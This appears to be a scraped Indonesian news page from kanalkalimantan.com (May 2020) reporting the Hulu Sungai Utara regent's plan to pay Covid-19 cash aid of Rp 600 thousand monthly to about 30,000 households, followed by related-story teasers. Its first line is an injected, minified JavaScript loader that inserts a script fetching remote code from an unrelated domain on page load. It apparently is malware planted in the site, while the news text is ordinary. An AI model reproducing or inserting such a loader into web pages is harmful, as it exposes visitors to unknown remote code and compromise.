(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK memastikan penerima Bantuan Langsung Tunai (BLT) bagi warga yang terdampak pandemi Covid-19 di kabupaten HSU memperoleh Rp 600 ribu/perbulan, selama tiga bulan dari awal Mei ini.
Hal tersebut seperti diungkapkannya saat menggelar dialog interaktif bersama masyarakat secara online dalam peringatan hari jadi ke-68 Kabupaten HSU, di Mess Negara Dipa, Jumat (1/5/2020). “Kalau berdasarkan pendataan yang kita miliki, maka didaerah Kabupaten Hulu Sungai Utara ini, yang dianggap layak dan kurang mampu perlu mendapatkan bantuan kurang lebih 30 ribu kepala keluarga,” ujar Bupati Wahid.
Lebih lanjut, ia menambahkan dari sekitar 30 ribu KK penerima BLT, sekitar 15 ribunya memperoleh bantuan dari pemerintah pusat. Sehingga 15 ribunya lagi layak memperoleh bantuan dari pemerintah provinsi, Kabupaten maupun dari pemerintah desa.
“Sebagiannya lagi akan menerima bantuan dari pemerintah provinsi, dan sebagainya akan menerima bantuan melalui pergeseran dana desa,” ujar Wahid.
Sedangkan untuk penerima bantuan dari sumber dana desa (BLT-DD) sendiri Wahid menambahkan bakal disalurkan pada awal bulan Mei ini. Tetapi, menurut Wahid selama ini desa-desa di Kabupaten HSU sebagaiannya masih belum selesai proses pergeseran anggarannya, sehingga perlu kesabaran dari masyarakat.
“Setelah dilakukan penetapan, kemudian dilaporkan kepada bupati, baru boleh dilakukan penyerahan bantuan langsung tunai kepada masyarakat yang membutuhkan,” lanjutnya.
Bupati Wahid juga memastikan bagi penerima bantuan dari BLT-DD agar tidak menerima lagi BLT dari pemerintah pusat, sehingga data penerima tidak terjadi tumpang tindih dan jumlah penerima bantuan menjadi merata.
Sementara, apabila dipastikan masih banyak jumlah yang belum mendapat bantuan dari semua itu, maka sebagiannya akan mendapatkan bantuan dari pemerintah daerah HSU yang telah dianggarkan. “Sehingga nilai nominal semua penerima bantuan sama, satu Kepala Keluarga, berhak menerima Rp 600 ribu satu bulannya,” ujar Wahid.
Selain itu, Bupati Wahid berharap agar pemerintahan desa dapat benar-benar selektif dalam melakukan pendataan warga. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.